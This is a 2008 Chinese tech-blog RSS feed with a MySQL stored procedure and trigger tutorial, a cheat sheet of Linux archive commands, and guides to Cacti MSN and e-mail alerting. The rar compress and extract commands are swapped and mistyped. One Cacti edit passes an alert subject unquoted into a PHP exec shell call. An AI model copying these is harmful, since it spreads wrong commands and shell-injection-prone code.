                        <p align=left><span>返回使用<span>CREATE PROCEDURE </span>建立的预先指定的存储过程的文本。这一声明是<span>SQL:2003</span>规范的一个<span>MySQL</span>扩展。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SHOW CREATE FUNCTION</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>返回使用<span>CREATE &nbsp;FUNCTION</span>建立的预先指定的存储过程的文本。这一声明是<span>SQL:2003</span>规范的一个<span>MySQL</span>扩展。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SHOW PROCEDURE STATUS</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>返回一个预先指定的存储过程的特性，包括名称、类型、建立者、建立日期、以及更改日期。这一声明是<span>SQL:2003</span>规范的一个<span>MySQL</span>扩展。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SHOW FUNCTION STATUS</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>返回一个预先指定的存储函数的特性，包括名称、类型、建立者、建立日期、以及更改日期。这一声明是<span>SQL:2003</span>规范的一个<span>MySQL</span>扩展。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CALL</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>调用一个使用<span>CREATE PROCEDURE</span>建立的预先指定的存储过程。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>BEGIN ... END</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>包含一组执行的多声明。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>DECLARE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于指定当地变量、环境、处理器，以及指针。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SET</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于更改当地和全局服务器变量的值。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>SELECT ... INTO</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于存储显示变量的纵列。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>OPEN</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于打开一个指针。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>FETCH</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>使用特定指针来获得下一列。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CLOSE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于关闭和打开指针。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>IF</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>一个<span>An if-then-else-end if </span>声明。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>CASE ... WHEN</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>一个<span> case</span>声明的结构</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><st1:place w:st="on"><span>LOOP</span></st1:place></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>一个简单的循环结构；可以使用<span>LEAVE </span>语句来退出。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>LEAVE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于退出<span>IF</span>，<span>CASE</span>，<span>LOOP</span>，<span>REPEAT</span>以及<span>WHILE </span>语句。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>ITERATE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>用于重新开始循环。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>REPEAT</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>在结束时测试的循环。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>WHILE</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>在开始时测试的循环。</span></p>
                        </td>
                    </tr>
                    <tr>
                        <td vAlign=top width=172>
                        <p align=left><span>RETURNS</span></p>
                        </td>
                        <td vAlign=top width=349>
                        <p align=left><span>返回一个存储过程的值。</span></p>
                        </td>
                    </tr>
                </tbody>
            </table>
            <p align=left></p>
            </td>
        </tr>
    </tbody>
</table>
<p align=left><span>MySQL 5.0</span><span>支持存储过程语句。</span></p>
<p align=left>&nbsp;</p>
<table cellPadding=0 border=0>
    <tbody>
        <tr>
            <td>
            <p align=left><strong><span>一<span>.</span>创建存储过程</span></strong></p>
            <p align=left><span>1.</span><span>基本语法：</span></p>
            <p align=left><span>create&nbsp;procedure&nbsp;sp_name()<br>begin<br>.........<br>end</span></p>
            <p align=left><span>2.</span><span>参数传递</span></p>
            <p align=left><strong><span>二<span>.</span>调用存储过程</span></strong></p>
            <p align=left><span>1.</span><span>基本语法：<span>call&nbsp;sp_name()<br></span>注意：存储过程名称后面必须加括号，哪怕该存储过程没有参数传递</span></p>
            <p align=left><strong><span>三<span>.</span>删除存储过程</span></strong></p>
            <p align=left><span>1.</span><span>基本语法：<span><br>drop&nbsp;procedure&nbsp;sp_name//<br>2.</span>注意事项<span><br>(1)</span>不能在一个存储过程中删除另一个存储过程，只能调用另一个存储过程</span></p>
            <p align=left><strong><span>四<span>.</span>区块，条件，循环</span></strong></p>
            <p align=left><span>1.</span><span>区块定义，常用<span><br>begin<br>......<br>end;<br></span>也可以给区块起别名，如：<span><br>lable:begin<br>...........<br>end&nbsp;lable;<br></span>可以用<span>leave&nbsp;lable;</span>跳出区块，执行区块以后的代码<span><br>2.</span>条件语句</span></p>
            <p align=left><span><span>if</span>&nbsp;</span><span>条件&nbsp;</span><span>then</span><span><br>statement<br></span><span>else</span><span><br>statement<br></span><span>end</span>&nbsp;<span>if</span><span>;</span></p>
            <p align=left><span><br>3.</span><span>循环语句<span><br>(1).while</span>循环</span></p>
            <p align=left><span><span>[label:]</span>&nbsp;<span>WHILE</span><span>&nbsp;expression&nbsp;DO<br><br>statements<br><br></span><span>END</span>&nbsp;<span>WHILE</span>&nbsp;<span>[label]</span><span>&nbsp;;<br></span></span></p>
            <p align=left>&nbsp;</p>
            <p align=left><span>(2).loop</span><span>循环</span></p>
            <p align=left><span><span>[label:]</span><span>&nbsp;<st1:place w:st="on">LOOP</st1:place><br><br>statements<br><br></span><span>END</span><span>&nbsp;LOOP&nbsp;</span><span>[label]</span><span>;</span></span></p>
            <p align=left>&nbsp;</p>
            <p align=left><span>(3).repeat&nbsp;until</span><span>循环</span></p>
            <p align=left><span><span>[label:]</span><span>&nbsp;REPEAT<br><br>statements<br><br>UNTIL&nbsp;expression<br><br></span><span>END</span><span>&nbsp;REPEAT&nbsp;</span><span>[label]</span><span>&nbsp;;</span></span></p>
            <p align=left>&nbsp;</p>
            <p align=left><strong><span>五<span>.</span>其他常用命令</span></strong></p>
            <p align=left><span>1.show&nbsp;procedure&nbsp;status<br></span><span>显示数据库中所有存储的存储过程基本信息，包括所属数据库，存储过程名称，创建时间等<span><br>2.show&nbsp;create&nbsp;procedure&nbsp;sp_name</span></span></p>
            </td>
        </tr>
    </tbody>
</table>
<p align=left><strong><u><span>存储过程创建语法<span>:</span></span></u></strong></p>
<div align=center>
<table cellPadding=0 width="80%" border=1>
    <tbody>
        <tr>
            <td>
            <p align=left><span>CREATE PROCEDURE procedure_name ([parameter[,...]) </span></p>
            <p align=left><span>[LANGUAGE SQL] </span></p>
            <p align=left><span>[ [NOT] DETERMINISTIC ] </span></p>
            <p align=left><span>[{CONTAINS SQL|MODIFIES SQL DATA|READS SQL DATA|NO SQL}] </span></p>
            <p align=left><span>[SQL SECURITY {DEFINER|INVOKER} ] </span></p>
            <p align=left><span>[COMMENT comment_string] </span></p>
            <p align=left><span>procedure_statements </span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left><span><br>&nbsp;<br></span><span>可用<span>SHOW PROCEDURE STATUS </span>或<span> SHOW CREATE PROCEDURE </span>来查看存储过程信息<span><br></span>另，系统表<span>INFORMATION_SCHEMA.ROUTINES</span>也包含了存储过程的一些信息<span><br></span>同样地<span>,</span>函数也可以使用同样方式查看<span>(SHOW FUNCTION STATUS) </span></span></p>
<p align=left><span><br></span><strong><u><span>函数的创建</span></u></strong><span><br>&nbsp;</span></p>
<div align=center>
<table cellPadding=0 width="80%" border=1>
    <tbody>
        <tr>
            <td>
            <p align=left><span>CREATE FUNCTION function_name (parameter[,...]) </span></p>
            <p align=left><span>RETURNS datatype </span></p>
            <p align=left><span>[LANGUAGE SQL] </span></p>
            <p align=left><span>[ [NOT] DETERMINISTIC ]</span></p>
            <p align=left><span>[ {CONTAINS SQL | NO SQL | MODIFIES SQL DATA | READS SQL DATA} ] </span></p>
            <p align=left><span>[ SQL SECURITY {DEFINER|INVOKER} ] </span></p>
            <p align=left><span>[ COMMENT comment_string ] </span></p>
            <p align=left><span>语句体<span> </span></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left><span><br></span><span>函数与存储过程基本一样，其区别主要有<span>:<br>1</span>、&nbsp;要使用<span>RETURNS</span>指定返回类型<span><br>2</span>、&nbsp;函数必须返回值<span>,</span>且在语句体中使用<span>RETURN</span>返回<span>(</span>注意<span>:</span>指定返回类型用<span>RETURNS,</span>返回值用<span>RETURN)<br>3</span>、&nbsp;参数不区分<span>IN</span>，<span>OUT</span>，全部为<span>IN</span>类形</span></p>
<p align=left><span><br></span><span>例<span>:<br>CREATE FUNCTION cust_status(in_status CHAR(1))<br>&nbsp;&nbsp;&nbsp; RETURNS VARCHAR(20)<br>BEGIN<br>&nbsp;&nbsp;&nbsp; DECLARE long_status VARCHAR(20);<br>&nbsp;&nbsp;&nbsp; IF in_status = 'O' THEN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SET long_status='Overdue';<br>&nbsp;&nbsp;&nbsp; ELSEIF in_status = 'U' THEN&nbsp;&nbsp;&nbsp; SET long_status='Up to date';<br>&nbsp;&nbsp;&nbsp; ELSEIF in_status = 'N' THEN&nbsp;&nbsp;&nbsp; SET long_status='New';<br>&nbsp;&nbsp;&nbsp; END IF;<br>&nbsp;&nbsp;&nbsp; RETURN(long_status);<br>END;<br>&nbsp;<br></span>调用<span>:<br>SELECT cust_status('O');<br>&nbsp;<br></span><strong><u>触发器</u></strong><span><br>&nbsp;</span></span></p>
<div align=center>
<table cellPadding=0 width="80%" border=1>
    <tbody>
        <tr>
            <td>
            <p align=left><span>CREATE [DEFINER={user|CURRENT_USER}] TRIGGER trigger_name </span></p>
            <p align=left><span>{BEFORE|AFTER} {UPDATE|INSERT|DELETE} </span></p>
            <p align=left><span>ON table_name </span></p>
            <p align=left><span>FOR EACH ROW </span></p>
            <p align=left><span>trigger_statements </span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p align=left><span><br>&nbsp;<br></span><span>意义<span>:</span>当对表<span>table_name</span>执行<span>update</span>，<span>insert,delete</span>操作之前<span>(before)</span>或之后<span>(after)</span>时触发语句<span>trigger_statements</span>操作</span></p>
<p align=left><span>例<span>:<br>mysql&gt; CREATE TRIGGER account_balance_au<br>&nbsp;AFTER UPDATE ON account_balance FOR EACH ROW<br>BEGIN<br>&nbsp; DECLARE dummy INT;<br>&nbsp; IF NEW.balance&lt;0 THEN<br>&nbsp;&nbsp;&nbsp;&nbsp; SET NEW.balance=NULL;<br>&nbsp; END IF;<br>END<br>&nbsp;<br></span>上述触发器表示<span>:</span>当更新表<span>account_balance</span>之后，如果更新的值<span>balance</span>小于<span>0,</span>则将它改为<span>NULL,<br></span>注<span>:</span>如果为<span>OLD.balance</span>则表示更新前的原值</span></p>
<p>&nbsp;</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/50062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-10-10 17:46 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/10/10/50062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下常用压缩格式的压缩与解压方法</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/12/49059.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 12 Sep 2008 15:40:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/12/49059.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/49059.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/12/49059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/49059.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/49059.html</trackback:ping><description><![CDATA[<div id=article_detail>
<h1 class=bigTitle>Linux下常用压缩格式的压缩与解压方法</h1>
</div>
<div id=content>
<p>.tar<br>解包： tar xvf FileName.tar<br>打包：tar cvf FileName.tar DirName<br>（注：tar是打包，不是压缩！）<br>---------------------------------------------<br>.gz<br>解压1：gunzip FileName.gz<br>解压2：gzip -d FileName.gz<br>压缩：gzip FileName<br>.tar.gz<br>解压：tar zxvf FileName.tar.gz<br>压缩：tar zcvf FileName.tar.gz DirName<br>---------------------------------------------<br>.bz2<br>解压1：bzip2 -d FileName.bz2<br>解压2：bunzip2 FileName.bz2<br>压缩： bzip2 -z FileName<br>.tar.bz2<br>解压：tar jxvf FileName.tar.bz2<br>压缩：tar jcvf FileName.tar.bz2 DirName<br>---------------------------------------------<br>.bz<br>解压1：bzip2 -d FileName.bz<br>解压2：bunzip2 FileName.bz<br>压缩：未知<br>.tar.bz<br>解压：tar jxvf FileName.tar.bz<br>压缩：未知<br>---------------------------------------------<br>.Z<br>解压：uncompress FileName.Z<br>压缩：compress FileName<br>.tar.Z<br>解压：tar Zxvf FileName.tar.Z<br>压缩：tar Zcvf FileName.tar.Z DirName<br>---------------------------------------------<br>.tgz<br>解压：tar zxvf FileName.tgz<br>压缩：未知<br>.tar.tgz<br>解压：tar zxvf FileName.tar.tgz<br>压缩：tar zcvf FileName.tar.tgz FileName<br>---------------------------------------------<br>.zip<br>解压：unzip FileName.zip<br>压缩：zip FileName.zip DirName<br>---------------------------------------------<br>.rar<br>解压：rar a FileName.rar<br>压缩：r ar e FileName.rar</p>
<p><br>---------------------------------------------<br>.lha<br>解压：lha -e FileName.lha<br>压缩：lha -a FileName.lha FileName</p>
<p>.rpm<br>解包：rpm2cpio FileName.rpm | cpio -div<br>---------------------------------------------<br>.tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh&nbsp;<br>.lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea<br>解压：sEx x FileName.*<br>压缩：sEx a FileName.* FileName</p>
</div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/49059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-12 23:40 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/12/49059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Cacti实现MSN报警</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 05 Sep 2008 15:22:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48771.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48771.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48771.html</trackback:ping><description><![CDATA[<h2><a title="Permanent Link: Cacti实现MSN报警" href="http://www.hiadmin.com/cacti%e5%ae%9e%e7%8e%b0msn%e6%8a%a5%e8%ad%a6/" rel=bookmark><u><font color=#810081>Cacti实现MSN报警</font></u></a></h2>
<div class=allinfos>一、 软件环境：cacti（需Threshold插件），MSN机器人（SendMsg）<br>二、 安装过程：<br>Cacti的Threshold插件参见：<a href="http://www.hiadmin.com/cacti%e9%85%8d%e7%bd%aee-mail%e6%8a%a5%e8%ad%a6/"><u><font color=#810081>Cacti配置e-mail报警</font></u></a><br>MSN机器人(SendMsg)参见：<a href="http://www.hiadmin.com/%e7%b3%bb%e7%bb%9f%e7%9b%91%e6%8e%a7%ef%bc%9amsn%e5%9c%a8%e7%ba%bf%e6%9c%ba%e5%99%a8%e4%ba%ba%e5%ae%9e%e6%97%b6%e6%8a%a5%e8%ad%a6/"><u><font color=#0000ff>系统监控：msn在线机器人实时报警</font></u></a><br>三、 配置过程：<br>1.按照<a href="http://www.hiadmin.com/cacti%e9%85%8d%e7%bd%aee-mail%e6%8a%a5%e8%ad%a6/"><u><font color=#810081>Cacti配置e-mail报警</font></u></a>配置并启用thold<br>2.编辑cacti/plugins/thold/thold-functions.php<br>在thold&#8211;functions.php查找thold_mail($global_alert_address, &#8221;, $subject, $msg, $file_array);行在此行下面加入： </div>
<div class=hl-surround>
<div class=hl-main>exec("echo $subject &gt;&gt;/var/www/html/cacti/plugins/thold/alter.log");<br>exec("sh /var/www/html/cacti/plugins/thold/sendmessage.sh");</div>
</div>
<p>查找 thold_mail($item["notify_extra"], &#8221;, $subject,<br>$msg, $file_array);行在此行下面加入：</p>
<div class=hl-surround>
<div class=hl-main>exec("echo $subject &gt;&gt;/var/www/html/cacti/plugins/thold/alter.log");<br>exec("sh /var/www/html/cacti/plugins/thold/sendmessage.sh");</div>
</div>
<p>备注：本人的thold安装在/var/www/html/cacti/plugins/thold/目录中，如果注释掉thold_mail，只通过MSN发送报警。不注释掉thold_mail，会通过email和MSN同时发送报警</p>
<p>thold-functions.php生成的alter.log范例如下：</p>
<div class=hl-surround>
<div class=hl-main>192.168.1.207 - Used Space - G: Label: [hdd_percent] is still above threshold of 85 with 99</div>
</div>
<p>编写脚本sendmessage.sh自动调用SendMsg发送报警</p>
<div class=hl-surround>
<div class=hl-main>#!/bin/sh<br>echo `echo -n "date:"&amp;&amp;date +%Y-%m-%d-%H:%M` &gt;&gt; /var/www/html/sendMsg/msn.txt.1<br>#得到当前的日期+时间<br>cat /var/www/html/cacti/plugins/thold/alter.log &gt;&gt;/var/www/html/sendMsg/msn.txt.1<br>#读取alter.log的报警信息<br>now=`date +%Y-%m-%d-%H:%M`<br>SA=(disk)<br>msnaddr=(lvming104@hotmail.com) #报警接收人msn<br>sendMsg()<br>{<br>num=0<br>while [ $num -lt 1 ];<br>do<br>wget --post-data "sender=test@live.cn&amp;password=12346&amp;recipient=${1}&amp;message=${2}" http://127.0.0.1/sendMsg/index.php -O /var/www/html/sendMsg/index.php.1 &gt;/dev/null 2&gt;&amp;1<br>#sender：发送人msn，password：密码。/var/www/html/sendMsg为sendMsn安装目录<br>if [ -f /var/www/html/sendMsg/index.php.1 ]; then<br>if cat /var/www/html/sendMsg/index.php.1 |grep -i successfully &gt;/dev/null 2&gt;&amp;1;then<br>num=1 #判断信息发送成功<br>elif cat /var/www/html/sendMsg/index.php.1 |grep -i "The user appears to be offline" &gt;/dev/null 2&gt;&amp;1;then<br>num=1 #判断msn接受人为是否在线状态<br>echo "The user is offline."<br>exit 0<br>elif cat /var/www/html/sendMsg/index.php.1 |grep -i "Something went wrong trying to connect to the server" &gt;/dev/null 2&gt;&amp;1;then<br>num=1 #判断msn 服务器存在连接问题<br>echo "MSN server is wrong."<br>exit 0<br>else<br>num=0 #除了以上三种情况退出循环外，其他情况重试。<br>fi<br>rm -f /var/www/html/sendMsg/index.php.1<br>else<br>num=0<br>fi<br>done<br>}<br>&nbsp;<br>mv /var/www/html/sendMsg/msn.txt /var/www/html/sendMsg/bak/msn$now.txt -f 1&gt;/dev/null 2&gt;&amp;1<br>mv /var/www/html/sendMsg/msn.txt.1 /var/www/html/sendMsg/msn.txt -f 1&gt;/dev/null 2&gt;&amp;1<br>rm /var/www/html/cacti/plugins/thold/alter.log -f 1&gt;/dev/null 2&gt;&amp;1<br><br>for i in 0 <br>do<br>if cat /var/www/html/sendMsg/msn.txt ; then<br>messages=`cat /var/www/html/sendMsg/msn.txt ` #读取要发送的信息<br>sendMsg "${msnaddr[$i]}" "$messages" #发送报警信息<br>else<br>continue<br>fi<br>done</div>
</div>
<p>ok，配置完成了，现在就可以通过MSN接收报警信息了：如下所示<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/14.jpg"><img class="alignnone size-medium wp-image-753" title=14 height=267 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/14-300x267.jpg" width=300></a></p>
<p>下次更新Cacti实现短信报警，敬请期待</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48771.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-05 23:22 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Cacti配置e-mail报警</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 05 Sep 2008 15:20:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48770.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48770.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48770.html</trackback:ping><description><![CDATA[<h2><a title="Permanent Link: Cacti配置e-mail报警" href="http://www.hiadmin.com/cacti%e9%85%8d%e7%bd%aee-mail%e6%8a%a5%e8%ad%a6/" rel=bookmark><u><font color=#810081>Cacti配置e-mail报警</font></u></a></h2>
<div class=allinfos>一、 软件环境：cacti（需Threshold插件）<br>二、 安装过程：<br>Cacti的安装各位baidu一下，这里就不详细介绍了。<br>安装Threshold插件<br>V0.3.9下载地址：<a onclick="pageTracker._trackPageview('/outgoing/mirror.cactiusers.org/downloads/plugins/thold-0.3.9.tar.gzv?referer=http://www.hiadmin.com/cacti%e5%ae%9e%e7%8e%b0msn%e6%8a%a5%e8%ad%a6/');" href="http://mirror.cactiusers.org/downloads/plugins/thold-0.3.9.tar.gzv"><u><font color=#0000ff>http://mirror.cactiusers.org/downloads/plugins/thold-0.3.9.tar.gzv</font></u></a><br>安装Threshold插件，只需将解压出来的Thold目录拷贝到cacti/plugins/目录下，并修改cacti配置文件（cacti目录下的include/config.php）。在配置中查找$plugins = array();行，在此行下面加入： </div>
<div class=hl-surround>
<div class=hl-main>$plugins[] = 'thold';</div>
</div>
<p>刷新cacti首页，你将看到多出来一个Threshld选项卡。如下所示<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/1.jpg"><img class="alignnone size-medium wp-image-713" title=1 height=18 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/1-300x18.jpg" width=300></a><br>三、 配置过程：<br>1．设置Threshold插件：选中console选项卡，在左侧菜单中点击Settings，然后点击Alerting/Thold选项卡<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/2.jpg"><img class="alignnone size-medium wp-image-714" title=2 height=170 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/2-300x170.jpg" width=300></a><br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/3.jpg"><img class="alignnone size-medium wp-image-715" title=3 height=156 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/3-300x156.jpg" width=300></a><br>2．设置发送警报通知：在Default Alerting Options中选择Send notifications<br>3．设置出现down机的情况时（即Monitor出现如图所示 <a href="http://www.hiadmin.com/wp-content/uploads/2008/08/4.jpg"><img class="alignnone size-medium wp-image-717" title=4 height=63 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/4.jpg" width=43></a>）发送警报通知：选择Dead Hosts notifications<br>报警邮件范例如下：</p>
<div class=hl-surround>
<div class=hl-main>Host Error : 192.168.1.220 (192.168.1.220) is DOWN<br>Message : Host did not respond to SNMP&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;（down机报警）</div>
</div>
<div class=hl-surround>
<div class=hl-main>Host Notice : 192.168.1.207 (192.168.1.207) returned from DOWN state&nbsp; &nbsp;（恢复）</div>
</div>
<p>4．设置警报发送纯文本的电子邮件没有图（默认是HTML电子邮件与图表嵌入在电子邮件）：选择Send alerts as text<br>5．设置周末不执行报警检查：选择Weekend exemptions<br>6．设置报警的门槛：Default Trigger Count<br>7．设置Emailing Options</p>
<div class=hl-surround>
<div class=hl-main>Mail Services：SMTP。（可以选择PHP mail，sendmail，SMTP三种方式）<br>From Email Address：按实际设置<br>From Name：按需要设置（该处显示的name就是email的发件人姓名）</div>
</div>
<p>8．设置Sendmail Options（Mail Services设置为sendmail需设置此项）</p>
<div class=hl-surround>
<div class=hl-main>Sendmail Path：/usr/sbin/sendmail（路径是服务器上Sendmail的，仅用于邮件服务选定为Sendmail）</div>
</div>
<p>9．设置SMTP Options（Mail Services设置SMTP需设置此项）</p>
<div class=hl-surround>
<div class=hl-main>SMTP Hostname：SMTP服务器如：mail.test.com<br>SMTP Port:25<br>SMTP Username: 通过SMTP发送邮件用来验证的用户名，如果你不要求身份验证留空<br>SMTP Password：通过SMTP发送邮件用来验证的密码，如果你不要求身份验证留空</div>
</div>
<p>测试：点击Send a Test Email，测试成功如下所示：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/13.jpg"><img class="alignnone size-medium wp-image-712" title=13 height=78 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/13-300x78.jpg" width=300></a><br>收到的测试邮件范例：</p>
<div class=hl-surround>
<div class=hl-main>This is a test message generated from Cacti. This message was sent to test the configuration of your Mail Settings.<br>Your email settings are currently set as follows<br>Method: SMTP<br>Host: mail.ips.com.cn<br>Port: 25<br>Authenication: true<br>Username: john.lv<br>Password: (Not Shown for Security Reasons)</div>
</div>
<p>配置完成后别忘记save。<br>下面我以磁盘空间报警为例，来设置具体的报警信息（CPU，DISK，服务，网络等等）<br>在console选项卡下左侧菜单中点击Threshold Templates 。<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/4.bmp"><img class="alignnone size-medium wp-image-716" title=4 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/4.bmp"></a><br>在如下图所示中点击Add按钮来添加一个Threshold模板<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/5.jpg"><img class="alignnone size-medium wp-image-718" title=5 height=50 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/5-300x50.jpg" width=300></a><br>添加磁盘监控的模板，无论是linux还是windows都是使用的Host MIB<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/6.jpg"><img class="alignnone size-medium wp-image-719" title=6 height=91 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/6-300x91.jpg" width=300></a><br>设置按照百分比来监控的，在Data Field选择hdd_percent，可以选择hdd_total,hdd_used,hdd_percent三种<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/7.jpg"><img class="alignnone size-medium wp-image-720" title=7 height=91 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/7-300x91.jpg" width=300></a><br>设置以下信息（参照下图：）<br>选择Enabled 激活检查和报警提醒<br>High Threshold文本框中填入0.085，意思是当硬盘使用率超过85％时，发送邮件报警。<br>Threshold CDEF下拉框选择Divide by 1024，<br>Alert E-Mail填入报警的接收邮箱<br>完成Threshold模板的添加。<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/8.jpg"><img class="alignnone size-medium wp-image-721" title=8 height=197 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/8-300x197.jpg" width=300></a><br>应用刚才创建的Threshold模板<br>在console选项卡下点击Management -&gt;Devices，选择要应用此模板的Host，点击最上面的Create Graphs for this Host链接，然后点击Auto-create thresholds链接来应用刚创建的Threshold模板。<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/9.jpg"><img class="alignnone size-medium wp-image-722" title=9 height=37 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/9-300x37.jpg" width=300></a><br>设置完成后在console选项卡下左侧菜单中点击Thresholds<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/10.bmp"><img class="alignnone size-medium wp-image-723" title=10 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/10.bmp"></a><br>在此可以管理已创建的警报，如下：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/11.jpg"><img class="alignnone size-medium wp-image-724" title=11 